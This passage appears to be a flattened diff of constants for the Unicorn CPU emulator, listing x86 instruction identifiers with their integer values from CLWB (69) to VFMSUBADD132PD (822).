UC_X86_INS_CLWB = 69; + UC_X86_INS_CMC = 70; + UC_X86_INS_CMOVA = 71; + UC_X86_INS_CMOVAE = 72; + UC_X86_INS_CMOVB = 73; + UC_X86_INS_CMOVBE = 74; + UC_X86_INS_FCMOVBE = 75; + UC_X86_INS_FCMOVB = 76; + UC_X86_INS_CMOVE = 77; + UC_X86_INS_FCMOVE = 78; + UC_X86_INS_CMOVG = 79; + UC_X86_INS_CMOVGE = 80; + UC_X86_INS_CMOVL = 81; + UC_X86_INS_CMOVLE = 82; + UC_X86_INS_FCMOVNBE = 83; + UC_X86_INS_FCMOVNB = 84; + UC_X86_INS_CMOVNE = 85; + UC_X86_INS_FCMOVNE = 86; + UC_X86_INS_CMOVNO = 87; + UC_X86_INS_CMOVNP = 88; + UC_X86_INS_FCMOVNU = 89; + UC_X86_INS_CMOVNS = 90; + UC_X86_INS_CMOVO = 91; + UC_X86_INS_CMOVP = 92; + UC_X86_INS_FCMOVU = 93; + UC_X86_INS_CMOVS = 94; + UC_X86_INS_CMP = 95; + UC_X86_INS_CMPPD = 96; + UC_X86_INS_CMPPS = 97; + UC_X86_INS_CMPSB = 98; + UC_X86_INS_CMPSD = 99; + UC_X86_INS_CMPSQ = 100; + UC_X86_INS_CMPSS = 101; + UC_X86_INS_CMPSW = 102; + UC_X86_INS_CMPXCHG16B = 103; + UC_X86_INS_CMPXCHG = 104; + UC_X86_INS_CMPXCHG8B = 105; + UC_X86_INS_COMISD = 106; + UC_X86_INS_COMISS = 107; + UC_X86_INS_FCOMP = 108; + UC_X86_INS_FCOMPI = 109; + UC_X86_INS_FCOMI = 110; + UC_X86_INS_FCOM = 111; + UC_X86_INS_FCOS = 112; + UC_X86_INS_CPUID = 113; + UC_X86_INS_CQO = 114; + UC_X86_INS_CRC32 = 115; + UC_X86_INS_CVTDQ2PD = 116; + UC_X86_INS_CVTDQ2PS = 117; + UC_X86_INS_CVTPD2DQ = 118; + UC_X86_INS_CVTPD2PS = 119; + UC_X86_INS_CVTPS2DQ = 120; + UC_X86_INS_CVTPS2PD = 121; + UC_X86_INS_CVTSD2SI = 122; + UC_X86_INS_CVTSD2SS = 123; + UC_X86_INS_CVTSI2SD = 124; + UC_X86_INS_CVTSI2SS = 125; + UC_X86_INS_CVTSS2SD = 126; + UC_X86_INS_CVTSS2SI = 127; + UC_X86_INS_CVTTPD2DQ = 128; + UC_X86_INS_CVTTPS2DQ = 129; + UC_X86_INS_CVTTSD2SI = 130; + UC_X86_INS_CVTTSS2SI = 131; + UC_X86_INS_CWD = 132; + UC_X86_INS_CWDE = 133; + UC_X86_INS_DAA = 134; + UC_X86_INS_DAS = 135; + UC_X86_INS_DATA16 = 136; + UC_X86_INS_DEC = 137; + UC_X86_INS_DIV = 138; + UC_X86_INS_DIVPD = 139; + UC_X86_INS_DIVPS = 140; + UC_X86_INS_FDIVR = 141; + UC_X86_INS_FIDIVR = 142; + UC_X86_INS_FDIVRP = 143; + UC_X86_INS_DIVSD = 144; + UC_X86_INS_DIVSS = 145; + UC_X86_INS_FDIV = 146; + UC_X86_INS_FIDIV = 147; + UC_X86_INS_FDIVP = 148; + UC_X86_INS_DPPD = 149; + UC_X86_INS_DPPS = 150; + UC_X86_INS_RET = 151; + UC_X86_INS_ENCLS = 152; + UC_X86_INS_ENCLU = 153; + UC_X86_INS_ENTER = 154; + UC_X86_INS_EXTRACTPS = 155; + UC_X86_INS_EXTRQ = 156; + UC_X86_INS_F2XM1 = 157; + UC_X86_INS_LCALL = 158; + UC_X86_INS_LJMP = 159; + UC_X86_INS_FBLD = 160; + UC_X86_INS_FBSTP = 161; + UC_X86_INS_FCOMPP = 162; + UC_X86_INS_FDECSTP = 163; + UC_X86_INS_FEMMS = 164; + UC_X86_INS_FFREE = 165; + UC_X86_INS_FICOM = 166; + UC_X86_INS_FICOMP = 167; + UC_X86_INS_FINCSTP = 168; + UC_X86_INS_FLDCW = 169; + UC_X86_INS_FLDENV = 170; + UC_X86_INS_FLDL2E = 171; + UC_X86_INS_FLDL2T = 172; + UC_X86_INS_FLDLG2 = 173; + UC_X86_INS_FLDLN2 = 174; + UC_X86_INS_FLDPI = 175; + UC_X86_INS_FNCLEX = 176; + UC_X86_INS_FNINIT = 177; + UC_X86_INS_FNOP = 178; + UC_X86_INS_FNSTCW = 179; + UC_X86_INS_FNSTSW = 180; + UC_X86_INS_FPATAN = 181; + UC_X86_INS_FPREM = 182; + UC_X86_INS_FPREM1 = 183; + UC_X86_INS_FPTAN = 184; + UC_X86_INS_FFREEP = 185; + UC_X86_INS_FRNDINT = 186; + UC_X86_INS_FRSTOR = 187; + UC_X86_INS_FNSAVE = 188; + UC_X86_INS_FSCALE = 189; + UC_X86_INS_FSETPM = 190; + UC_X86_INS_FSINCOS = 191; + UC_X86_INS_FNSTENV = 192; + UC_X86_INS_FXAM = 193; + UC_X86_INS_FXRSTOR = 194; + UC_X86_INS_FXRSTOR64 = 195; + UC_X86_INS_FXSAVE = 196; + UC_X86_INS_FXSAVE64 = 197; + UC_X86_INS_FXTRACT = 198; + UC_X86_INS_FYL2X = 199; + UC_X86_INS_FYL2XP1 = 200; + UC_X86_INS_MOVAPD = 201; + UC_X86_INS_MOVAPS = 202; + UC_X86_INS_ORPD = 203; + UC_X86_INS_ORPS = 204; + UC_X86_INS_VMOVAPD = 205; + UC_X86_INS_VMOVAPS = 206; + UC_X86_INS_XORPD = 207; + UC_X86_INS_XORPS = 208; + UC_X86_INS_GETSEC = 209; + UC_X86_INS_HADDPD = 210; + UC_X86_INS_HADDPS = 211; + UC_X86_INS_HLT = 212; + UC_X86_INS_HSUBPD = 213; + UC_X86_INS_HSUBPS = 214; + UC_X86_INS_IDIV = 215; + UC_X86_INS_FILD = 216; + UC_X86_INS_IMUL = 217; + UC_X86_INS_IN = 218; + UC_X86_INS_INC = 219; + UC_X86_INS_INSB = 220; + UC_X86_INS_INSERTPS = 221; + UC_X86_INS_INSERTQ = 222; + UC_X86_INS_INSD = 223; + UC_X86_INS_INSW = 224; + UC_X86_INS_INT = 225; + UC_X86_INS_INT1 = 226; + UC_X86_INS_INT3 = 227; + UC_X86_INS_INTO = 228; + UC_X86_INS_INVD = 229; + UC_X86_INS_INVEPT = 230; + UC_X86_INS_INVLPG = 231; + UC_X86_INS_INVLPGA = 232; + UC_X86_INS_INVPCID = 233; + UC_X86_INS_INVVPID = 234; + UC_X86_INS_IRET = 235; + UC_X86_INS_IRETD = 236; + UC_X86_INS_IRETQ = 237; + UC_X86_INS_FISTTP = 238; + UC_X86_INS_FIST = 239; + UC_X86_INS_FISTP = 240; + UC_X86_INS_UCOMISD = 241; + UC_X86_INS_UCOMISS = 242; + UC_X86_INS_VCOMISD = 243; + UC_X86_INS_VCOMISS = 244; + UC_X86_INS_VCVTSD2SS = 245; + UC_X86_INS_VCVTSI2SD = 246; + UC_X86_INS_VCVTSI2SS = 247; + UC_X86_INS_VCVTSS2SD = 248; + UC_X86_INS_VCVTTSD2SI = 249; + UC_X86_INS_VCVTTSD2USI = 250; + UC_X86_INS_VCVTTSS2SI = 251; + UC_X86_INS_VCVTTSS2USI = 252; + UC_X86_INS_VCVTUSI2SD = 253; + UC_X86_INS_VCVTUSI2SS = 254; + UC_X86_INS_VUCOMISD = 255; + UC_X86_INS_VUCOMISS = 256; + UC_X86_INS_JAE = 257; + UC_X86_INS_JA = 258; + UC_X86_INS_JBE = 259; + UC_X86_INS_JB = 260; + UC_X86_INS_JCXZ = 261; + UC_X86_INS_JECXZ = 262; + UC_X86_INS_JE = 263; + UC_X86_INS_JGE = 264; + UC_X86_INS_JG = 265; + UC_X86_INS_JLE = 266; + UC_X86_INS_JL = 267; + UC_X86_INS_JMP = 268; + UC_X86_INS_JNE = 269; + UC_X86_INS_JNO = 270; + UC_X86_INS_JNP = 271; + UC_X86_INS_JNS = 272; + UC_X86_INS_JO = 273; + UC_X86_INS_JP = 274; + UC_X86_INS_JRCXZ = 275; + UC_X86_INS_JS = 276; + UC_X86_INS_KANDB = 277; + UC_X86_INS_KANDD = 278; + UC_X86_INS_KANDNB = 279; + UC_X86_INS_KANDND = 280; + UC_X86_INS_KANDNQ = 281; + UC_X86_INS_KANDNW = 282; + UC_X86_INS_KANDQ = 283; + UC_X86_INS_KANDW = 284; + UC_X86_INS_KMOVB = 285; + UC_X86_INS_KMOVD = 286; + UC_X86_INS_KMOVQ = 287; + UC_X86_INS_KMOVW = 288; + UC_X86_INS_KNOTB = 289; + UC_X86_INS_KNOTD = 290; + UC_X86_INS_KNOTQ = 291; + UC_X86_INS_KNOTW = 292; + UC_X86_INS_KORB = 293; + UC_X86_INS_KORD = 294; + UC_X86_INS_KORQ = 295; + UC_X86_INS_KORTESTB = 296; + UC_X86_INS_KORTESTD = 297; + UC_X86_INS_KORTESTQ = 298; + UC_X86_INS_KORTESTW = 299; + UC_X86_INS_KORW = 300; + UC_X86_INS_KSHIFTLB = 301; + UC_X86_INS_KSHIFTLD = 302; + UC_X86_INS_KSHIFTLQ = 303; + UC_X86_INS_KSHIFTLW = 304; + UC_X86_INS_KSHIFTRB = 305; + UC_X86_INS_KSHIFTRD = 306; + UC_X86_INS_KSHIFTRQ = 307; + UC_X86_INS_KSHIFTRW = 308; + UC_X86_INS_KUNPCKBW = 309; + UC_X86_INS_KXNORB = 310; + UC_X86_INS_KXNORD = 311; + UC_X86_INS_KXNORQ = 312; + UC_X86_INS_KXNORW = 313; + UC_X86_INS_KXORB = 314; + UC_X86_INS_KXORD = 315; + UC_X86_INS_KXORQ = 316; + UC_X86_INS_KXORW = 317; + UC_X86_INS_LAHF = 318; + UC_X86_INS_LAR = 319; + UC_X86_INS_LDDQU = 320; + UC_X86_INS_LDMXCSR = 321; + UC_X86_INS_LDS = 322; + UC_X86_INS_FLDZ = 323; + UC_X86_INS_FLD1 = 324; + UC_X86_INS_FLD = 325; + UC_X86_INS_LEA = 326; + UC_X86_INS_LEAVE = 327; + UC_X86_INS_LES = 328; + UC_X86_INS_LFENCE = 329; + UC_X86_INS_LFS = 330; + UC_X86_INS_LGDT = 331; + UC_X86_INS_LGS = 332; + UC_X86_INS_LIDT = 333; + UC_X86_INS_LLDT = 334; + UC_X86_INS_LMSW = 335; + UC_X86_INS_OR = 336; + UC_X86_INS_SUB = 337; + UC_X86_INS_XOR = 338; + UC_X86_INS_LODSB = 339; + UC_X86_INS_LODSD = 340; + UC_X86_INS_LODSQ = 341; + UC_X86_INS_LODSW = 342; + UC_X86_INS_LOOP = 343; + UC_X86_INS_LOOPE = 344; + UC_X86_INS_LOOPNE = 345; + UC_X86_INS_RETF = 346; + UC_X86_INS_RETFQ = 347; + UC_X86_INS_LSL = 348; + UC_X86_INS_LSS = 349; + UC_X86_INS_LTR = 350; + UC_X86_INS_XADD = 351; + UC_X86_INS_LZCNT = 352; + UC_X86_INS_MASKMOVDQU = 353; + UC_X86_INS_MAXPD = 354; + UC_X86_INS_MAXPS = 355; + UC_X86_INS_MAXSD = 356; + UC_X86_INS_MAXSS = 357; + UC_X86_INS_MFENCE = 358; + UC_X86_INS_MINPD = 359; + UC_X86_INS_MINPS = 360; + UC_X86_INS_MINSD = 361; + UC_X86_INS_MINSS = 362; + UC_X86_INS_CVTPD2PI = 363; + UC_X86_INS_CVTPI2PD = 364; + UC_X86_INS_CVTPI2PS = 365; + UC_X86_INS_CVTPS2PI = 366; + UC_X86_INS_CVTTPD2PI = 367; + UC_X86_INS_CVTTPS2PI = 368; + UC_X86_INS_EMMS = 369; + UC_X86_INS_MASKMOVQ = 370; + UC_X86_INS_MOVD = 371; + UC_X86_INS_MOVDQ2Q = 372; + UC_X86_INS_MOVNTQ = 373; + UC_X86_INS_MOVQ2DQ = 374; + UC_X86_INS_MOVQ = 375; + UC_X86_INS_PABSB = 376; + UC_X86_INS_PABSD = 377; + UC_X86_INS_PABSW = 378; + UC_X86_INS_PACKSSDW = 379; + UC_X86_INS_PACKSSWB = 380; + UC_X86_INS_PACKUSWB = 381; + UC_X86_INS_PADDB = 382; + UC_X86_INS_PADDD = 383; + UC_X86_INS_PADDQ = 384; + UC_X86_INS_PADDSB = 385; + UC_X86_INS_PADDSW = 386; + UC_X86_INS_PADDUSB = 387; + UC_X86_INS_PADDUSW = 388; + UC_X86_INS_PADDW = 389; + UC_X86_INS_PALIGNR = 390; + UC_X86_INS_PANDN = 391; + UC_X86_INS_PAND = 392; + UC_X86_INS_PAVGB = 393; + UC_X86_INS_PAVGW = 394; + UC_X86_INS_PCMPEQB = 395; + UC_X86_INS_PCMPEQD = 396; + UC_X86_INS_PCMPEQW = 397; + UC_X86_INS_PCMPGTB = 398; + UC_X86_INS_PCMPGTD = 399; + UC_X86_INS_PCMPGTW = 400; + UC_X86_INS_PEXTRW = 401; + UC_X86_INS_PHADDSW = 402; + UC_X86_INS_PHADDW = 403; + UC_X86_INS_PHADDD = 404; + UC_X86_INS_PHSUBD = 405; + UC_X86_INS_PHSUBSW = 406; + UC_X86_INS_PHSUBW = 407; + UC_X86_INS_PINSRW = 408; + UC_X86_INS_PMADDUBSW = 409; + UC_X86_INS_PMADDWD = 410; + UC_X86_INS_PMAXSW = 411; + UC_X86_INS_PMAXUB = 412; + UC_X86_INS_PMINSW = 413; + UC_X86_INS_PMINUB = 414; + UC_X86_INS_PMOVMSKB = 415; + UC_X86_INS_PMULHRSW = 416; + UC_X86_INS_PMULHUW = 417; + UC_X86_INS_PMULHW = 418; + UC_X86_INS_PMULLW = 419; + UC_X86_INS_PMULUDQ = 420; + UC_X86_INS_POR = 421; + UC_X86_INS_PSADBW = 422; + UC_X86_INS_PSHUFB = 423; + UC_X86_INS_PSHUFW = 424; + UC_X86_INS_PSIGNB = 425; + UC_X86_INS_PSIGND = 426; + UC_X86_INS_PSIGNW = 427; + UC_X86_INS_PSLLD = 428; + UC_X86_INS_PSLLQ = 429; + UC_X86_INS_PSLLW = 430; + UC_X86_INS_PSRAD = 431; + UC_X86_INS_PSRAW = 432; + UC_X86_INS_PSRLD = 433; + UC_X86_INS_PSRLQ = 434; + UC_X86_INS_PSRLW = 435; + UC_X86_INS_PSUBB = 436; + UC_X86_INS_PSUBD = 437; + UC_X86_INS_PSUBQ = 438; + UC_X86_INS_PSUBSB = 439; + UC_X86_INS_PSUBSW = 440; + UC_X86_INS_PSUBUSB = 441; + UC_X86_INS_PSUBUSW = 442; + UC_X86_INS_PSUBW = 443; + UC_X86_INS_PUNPCKHBW = 444; + UC_X86_INS_PUNPCKHDQ = 445; + UC_X86_INS_PUNPCKHWD = 446; + UC_X86_INS_PUNPCKLBW = 447; + UC_X86_INS_PUNPCKLDQ = 448; + UC_X86_INS_PUNPCKLWD = 449; + UC_X86_INS_PXOR = 450; + UC_X86_INS_MONITOR = 451; + UC_X86_INS_MONTMUL = 452; + UC_X86_INS_MOV = 453; + UC_X86_INS_MOVABS = 454; + UC_X86_INS_MOVBE = 455; + UC_X86_INS_MOVDDUP = 456; + UC_X86_INS_MOVDQA = 457; + UC_X86_INS_MOVDQU = 458; + UC_X86_INS_MOVHLPS = 459; + UC_X86_INS_MOVHPD = 460; + UC_X86_INS_MOVHPS = 461; + UC_X86_INS_MOVLHPS = 462; + UC_X86_INS_MOVLPD = 463; + UC_X86_INS_MOVLPS = 464; + UC_X86_INS_MOVMSKPD = 465; + UC_X86_INS_MOVMSKPS = 466; + UC_X86_INS_MOVNTDQA = 467; + UC_X86_INS_MOVNTDQ = 468; + UC_X86_INS_MOVNTI = 469; + UC_X86_INS_MOVNTPD = 470; + UC_X86_INS_MOVNTPS = 471; + UC_X86_INS_MOVNTSD = 472; + UC_X86_INS_MOVNTSS = 473; + UC_X86_INS_MOVSB = 474; + UC_X86_INS_MOVSD = 475; + UC_X86_INS_MOVSHDUP = 476; + UC_X86_INS_MOVSLDUP = 477; + UC_X86_INS_MOVSQ = 478; + UC_X86_INS_MOVSS = 479; + UC_X86_INS_MOVSW = 480; + UC_X86_INS_MOVSX = 481; + UC_X86_INS_MOVSXD = 482; + UC_X86_INS_MOVUPD = 483; + UC_X86_INS_MOVUPS = 484; + UC_X86_INS_MOVZX = 485; + UC_X86_INS_MPSADBW = 486; + UC_X86_INS_MUL = 487; + UC_X86_INS_MULPD = 488; + UC_X86_INS_MULPS = 489; + UC_X86_INS_MULSD = 490; + UC_X86_INS_MULSS = 491; + UC_X86_INS_MULX = 492; + UC_X86_INS_FMUL = 493; + UC_X86_INS_FIMUL = 494; + UC_X86_INS_FMULP = 495; + UC_X86_INS_MWAIT = 496; + UC_X86_INS_NEG = 497; + UC_X86_INS_NOP = 498; + UC_X86_INS_NOT = 499; + UC_X86_INS_OUT = 500; + UC_X86_INS_OUTSB = 501; + UC_X86_INS_OUTSD = 502; + UC_X86_INS_OUTSW = 503; + UC_X86_INS_PACKUSDW = 504; + UC_X86_INS_PAUSE = 505; + UC_X86_INS_PAVGUSB = 506; + UC_X86_INS_PBLENDVB = 507; + UC_X86_INS_PBLENDW = 508; + UC_X86_INS_PCLMULQDQ = 509; + UC_X86_INS_PCMPEQQ = 510; + UC_X86_INS_PCMPESTRI = 511; + UC_X86_INS_PCMPESTRM = 512; + UC_X86_INS_PCMPGTQ = 513; + UC_X86_INS_PCMPISTRI = 514; + UC_X86_INS_PCMPISTRM = 515; + UC_X86_INS_PCOMMIT = 516; + UC_X86_INS_PDEP = 517; + UC_X86_INS_PEXT = 518; + UC_X86_INS_PEXTRB = 519; + UC_X86_INS_PEXTRD = 520; + UC_X86_INS_PEXTRQ = 521; + UC_X86_INS_PF2ID = 522; + UC_X86_INS_PF2IW = 523; + UC_X86_INS_PFACC = 524; + UC_X86_INS_PFADD = 525; + UC_X86_INS_PFCMPEQ = 526; + UC_X86_INS_PFCMPGE = 527; + UC_X86_INS_PFCMPGT = 528; + UC_X86_INS_PFMAX = 529; + UC_X86_INS_PFMIN = 530; + UC_X86_INS_PFMUL = 531; + UC_X86_INS_PFNACC = 532; + UC_X86_INS_PFPNACC = 533; + UC_X86_INS_PFRCPIT1 = 534; + UC_X86_INS_PFRCPIT2 = 535; + UC_X86_INS_PFRCP = 536; + UC_X86_INS_PFRSQIT1 = 537; + UC_X86_INS_PFRSQRT = 538; + UC_X86_INS_PFSUBR = 539; + UC_X86_INS_PFSUB = 540; + UC_X86_INS_PHMINPOSUW = 541; + UC_X86_INS_PI2FD = 542; + UC_X86_INS_PI2FW = 543; + UC_X86_INS_PINSRB = 544; + UC_X86_INS_PINSRD = 545; + UC_X86_INS_PINSRQ = 546; + UC_X86_INS_PMAXSB = 547; + UC_X86_INS_PMAXSD = 548; + UC_X86_INS_PMAXUD = 549; + UC_X86_INS_PMAXUW = 550; + UC_X86_INS_PMINSB = 551; + UC_X86_INS_PMINSD = 552; + UC_X86_INS_PMINUD = 553; + UC_X86_INS_PMINUW = 554; + UC_X86_INS_PMOVSXBD = 555; + UC_X86_INS_PMOVSXBQ = 556; + UC_X86_INS_PMOVSXBW = 557; + UC_X86_INS_PMOVSXDQ = 558; + UC_X86_INS_PMOVSXWD = 559; + UC_X86_INS_PMOVSXWQ = 560; + UC_X86_INS_PMOVZXBD = 561; + UC_X86_INS_PMOVZXBQ = 562; + UC_X86_INS_PMOVZXBW = 563; + UC_X86_INS_PMOVZXDQ = 564; + UC_X86_INS_PMOVZXWD = 565; + UC_X86_INS_PMOVZXWQ = 566; + UC_X86_INS_PMULDQ = 567; + UC_X86_INS_PMULHRW = 568; + UC_X86_INS_PMULLD = 569; + UC_X86_INS_POP = 570; + UC_X86_INS_POPAW = 571; + UC_X86_INS_POPAL = 572; + UC_X86_INS_POPCNT = 573; + UC_X86_INS_POPF = 574; + UC_X86_INS_POPFD = 575; + UC_X86_INS_POPFQ = 576; + UC_X86_INS_PREFETCH = 577; + UC_X86_INS_PREFETCHNTA = 578; + UC_X86_INS_PREFETCHT0 = 579; + UC_X86_INS_PREFETCHT1 = 580; + UC_X86_INS_PREFETCHT2 = 581; + UC_X86_INS_PREFETCHW = 582; + UC_X86_INS_PSHUFD = 583; + UC_X86_INS_PSHUFHW = 584; + UC_X86_INS_PSHUFLW = 585; + UC_X86_INS_PSLLDQ = 586; + UC_X86_INS_PSRLDQ = 587; + UC_X86_INS_PSWAPD = 588; + UC_X86_INS_PTEST = 589; + UC_X86_INS_PUNPCKHQDQ = 590; + UC_X86_INS_PUNPCKLQDQ = 591; + UC_X86_INS_PUSH = 592; + UC_X86_INS_PUSHAW = 593; + UC_X86_INS_PUSHAL = 594; + UC_X86_INS_PUSHF = 595; + UC_X86_INS_PUSHFD = 596; + UC_X86_INS_PUSHFQ = 597; + UC_X86_INS_RCL = 598; + UC_X86_INS_RCPPS = 599; + UC_X86_INS_RCPSS = 600; + UC_X86_INS_RCR = 601; + UC_X86_INS_RDFSBASE = 602; + UC_X86_INS_RDGSBASE = 603; + UC_X86_INS_RDMSR = 604; + UC_X86_INS_RDPMC = 605; + UC_X86_INS_RDRAND = 606; + UC_X86_INS_RDSEED = 607; + UC_X86_INS_RDTSC = 608; + UC_X86_INS_RDTSCP = 609; + UC_X86_INS_ROL = 610; + UC_X86_INS_ROR = 611; + UC_X86_INS_RORX = 612; + UC_X86_INS_ROUNDPD = 613; + UC_X86_INS_ROUNDPS = 614; + UC_X86_INS_ROUNDSD = 615; + UC_X86_INS_ROUNDSS = 616; + UC_X86_INS_RSM = 617; + UC_X86_INS_RSQRTPS = 618; + UC_X86_INS_RSQRTSS = 619; + UC_X86_INS_SAHF = 620; + UC_X86_INS_SAL = 621; + UC_X86_INS_SALC = 622; + UC_X86_INS_SAR = 623; + UC_X86_INS_SARX = 624; + UC_X86_INS_SBB = 625; + UC_X86_INS_SCASB = 626; + UC_X86_INS_SCASD = 627; + UC_X86_INS_SCASQ = 628; + UC_X86_INS_SCASW = 629; + UC_X86_INS_SETAE = 630; + UC_X86_INS_SETA = 631; + UC_X86_INS_SETBE = 632; + UC_X86_INS_SETB = 633; + UC_X86_INS_SETE = 634; + UC_X86_INS_SETGE = 635; + UC_X86_INS_SETG = 636; + UC_X86_INS_SETLE = 637; + UC_X86_INS_SETL = 638; + UC_X86_INS_SETNE = 639; + UC_X86_INS_SETNO = 640; + UC_X86_INS_SETNP = 641; + UC_X86_INS_SETNS = 642; + UC_X86_INS_SETO = 643; + UC_X86_INS_SETP = 644; + UC_X86_INS_SETS = 645; + UC_X86_INS_SFENCE = 646; + UC_X86_INS_SGDT = 647; + UC_X86_INS_SHA1MSG1 = 648; + UC_X86_INS_SHA1MSG2 = 649; + UC_X86_INS_SHA1NEXTE = 650; + UC_X86_INS_SHA1RNDS4 = 651; + UC_X86_INS_SHA256MSG1 = 652; + UC_X86_INS_SHA256MSG2 = 653; + UC_X86_INS_SHA256RNDS2 = 654; + UC_X86_INS_SHL = 655; + UC_X86_INS_SHLD = 656; + UC_X86_INS_SHLX = 657; + UC_X86_INS_SHR = 658; + UC_X86_INS_SHRD = 659; + UC_X86_INS_SHRX = 660; + UC_X86_INS_SHUFPD = 661; + UC_X86_INS_SHUFPS = 662; + UC_X86_INS_SIDT = 663; + UC_X86_INS_FSIN = 664; + UC_X86_INS_SKINIT = 665; + UC_X86_INS_SLDT = 666; + UC_X86_INS_SMSW = 667; + UC_X86_INS_SQRTPD = 668; + UC_X86_INS_SQRTPS = 669; + UC_X86_INS_SQRTSD = 670; + UC_X86_INS_SQRTSS = 671; + UC_X86_INS_FSQRT = 672; + UC_X86_INS_STAC = 673; + UC_X86_INS_STC = 674; + UC_X86_INS_STD = 675; + UC_X86_INS_STGI = 676; + UC_X86_INS_STI = 677; + UC_X86_INS_STMXCSR = 678; + UC_X86_INS_STOSB = 679; + UC_X86_INS_STOSD = 680; + UC_X86_INS_STOSQ = 681; + UC_X86_INS_STOSW = 682; + UC_X86_INS_STR = 683; + UC_X86_INS_FST = 684; + UC_X86_INS_FSTP = 685; + UC_X86_INS_FSTPNCE = 686; + UC_X86_INS_FXCH = 687; + UC_X86_INS_SUBPD = 688; + UC_X86_INS_SUBPS = 689; + UC_X86_INS_FSUBR = 690; + UC_X86_INS_FISUBR = 691; + UC_X86_INS_FSUBRP = 692; + UC_X86_INS_SUBSD = 693; + UC_X86_INS_SUBSS = 694; + UC_X86_INS_FSUB = 695; + UC_X86_INS_FISUB = 696; + UC_X86_INS_FSUBP = 697; + UC_X86_INS_SWAPGS = 698; + UC_X86_INS_SYSCALL = 699; + UC_X86_INS_SYSENTER = 700; + UC_X86_INS_SYSEXIT = 701; + UC_X86_INS_SYSRET = 702; + UC_X86_INS_T1MSKC = 703; + UC_X86_INS_TEST = 704; + UC_X86_INS_UD2 = 705; + UC_X86_INS_FTST = 706; + UC_X86_INS_TZCNT = 707; + UC_X86_INS_TZMSK = 708; + UC_X86_INS_FUCOMPI = 709; + UC_X86_INS_FUCOMI = 710; + UC_X86_INS_FUCOMPP = 711; + UC_X86_INS_FUCOMP = 712; + UC_X86_INS_FUCOM = 713; + UC_X86_INS_UD2B = 714; + UC_X86_INS_UNPCKHPD = 715; + UC_X86_INS_UNPCKHPS = 716; + UC_X86_INS_UNPCKLPD = 717; + UC_X86_INS_UNPCKLPS = 718; + UC_X86_INS_VADDPD = 719; + UC_X86_INS_VADDPS = 720; + UC_X86_INS_VADDSD = 721; + UC_X86_INS_VADDSS = 722; + UC_X86_INS_VADDSUBPD = 723; + UC_X86_INS_VADDSUBPS = 724; + UC_X86_INS_VAESDECLAST = 725; + UC_X86_INS_VAESDEC = 726; + UC_X86_INS_VAESENCLAST = 727; + UC_X86_INS_VAESENC = 728; + UC_X86_INS_VAESIMC = 729; + UC_X86_INS_VAESKEYGENASSIST = 730; + UC_X86_INS_VALIGND = 731; + UC_X86_INS_VALIGNQ = 732; + UC_X86_INS_VANDNPD = 733; + UC_X86_INS_VANDNPS = 734; + UC_X86_INS_VANDPD = 735; + UC_X86_INS_VANDPS = 736; + UC_X86_INS_VBLENDMPD = 737; + UC_X86_INS_VBLENDMPS = 738; + UC_X86_INS_VBLENDPD = 739; + UC_X86_INS_VBLENDPS = 740; + UC_X86_INS_VBLENDVPD = 741; + UC_X86_INS_VBLENDVPS = 742; + UC_X86_INS_VBROADCASTF128 = 743; + UC_X86_INS_VBROADCASTI32X4 = 744; + UC_X86_INS_VBROADCASTI64X4 = 745; + UC_X86_INS_VBROADCASTSD = 746; + UC_X86_INS_VBROADCASTSS = 747; + UC_X86_INS_VCMPPD = 748; + UC_X86_INS_VCMPPS = 749; + UC_X86_INS_VCMPSD = 750; + UC_X86_INS_VCMPSS = 751; + UC_X86_INS_VCOMPRESSPD = 752; + UC_X86_INS_VCOMPRESSPS = 753; + UC_X86_INS_VCVTDQ2PD = 754; + UC_X86_INS_VCVTDQ2PS = 755; + UC_X86_INS_VCVTPD2DQX = 756; + UC_X86_INS_VCVTPD2DQ = 757; + UC_X86_INS_VCVTPD2PSX = 758; + UC_X86_INS_VCVTPD2PS = 759; + UC_X86_INS_VCVTPD2UDQ = 760; + UC_X86_INS_VCVTPH2PS = 761; + UC_X86_INS_VCVTPS2DQ = 762; + UC_X86_INS_VCVTPS2PD = 763; + UC_X86_INS_VCVTPS2PH = 764; + UC_X86_INS_VCVTPS2UDQ = 765; + UC_X86_INS_VCVTSD2SI = 766; + UC_X86_INS_VCVTSD2USI = 767; + UC_X86_INS_VCVTSS2SI = 768; + UC_X86_INS_VCVTSS2USI = 769; + UC_X86_INS_VCVTTPD2DQX = 770; + UC_X86_INS_VCVTTPD2DQ = 771; + UC_X86_INS_VCVTTPD2UDQ = 772; + UC_X86_INS_VCVTTPS2DQ = 773; + UC_X86_INS_VCVTTPS2UDQ = 774; + UC_X86_INS_VCVTUDQ2PD = 775; + UC_X86_INS_VCVTUDQ2PS = 776; + UC_X86_INS_VDIVPD = 777; + UC_X86_INS_VDIVPS = 778; + UC_X86_INS_VDIVSD = 779; + UC_X86_INS_VDIVSS = 780; + UC_X86_INS_VDPPD = 781; + UC_X86_INS_VDPPS = 782; + UC_X86_INS_VERR = 783; + UC_X86_INS_VERW = 784; + UC_X86_INS_VEXP2PD = 785; + UC_X86_INS_VEXP2PS = 786; + UC_X86_INS_VEXPANDPD = 787; + UC_X86_INS_VEXPANDPS = 788; + UC_X86_INS_VEXTRACTF128 = 789; + UC_X86_INS_VEXTRACTF32X4 = 790; + UC_X86_INS_VEXTRACTF64X4 = 791; + UC_X86_INS_VEXTRACTI128 = 792; + UC_X86_INS_VEXTRACTI32X4 = 793; + UC_X86_INS_VEXTRACTI64X4 = 794; + UC_X86_INS_VEXTRACTPS = 795; + UC_X86_INS_VFMADD132PD = 796; + UC_X86_INS_VFMADD132PS = 797; + UC_X86_INS_VFMADDPD = 798; + UC_X86_INS_VFMADD213PD = 799; + UC_X86_INS_VFMADD231PD = 800; + UC_X86_INS_VFMADDPS = 801; + UC_X86_INS_VFMADD213PS = 802; + UC_X86_INS_VFMADD231PS = 803; + UC_X86_INS_VFMADDSD = 804; + UC_X86_INS_VFMADD213SD = 805; + UC_X86_INS_VFMADD132SD = 806; + UC_X86_INS_VFMADD231SD = 807; + UC_X86_INS_VFMADDSS = 808; + UC_X86_INS_VFMADD213SS = 809; + UC_X86_INS_VFMADD132SS = 810; + UC_X86_INS_VFMADD231SS = 811; + UC_X86_INS_VFMADDSUB132PD = 812; + UC_X86_INS_VFMADDSUB132PS = 813; + UC_X86_INS_VFMADDSUBPD = 814; + UC_X86_INS_VFMADDSUB213PD = 815; + UC_X86_INS_VFMADDSUB231PD = 816; + UC_X86_INS_VFMADDSUBPS = 817; + UC_X86_INS_VFMADDSUB213PS = 818; + UC_X86_INS_VFMADDSUB231PS = 819; + UC_X86_INS_VFMSUB132PD = 820; + UC_X86_INS_VFMSUB132PS = 821; + UC_X86_INS_VFMSUBADD132PD = 822; 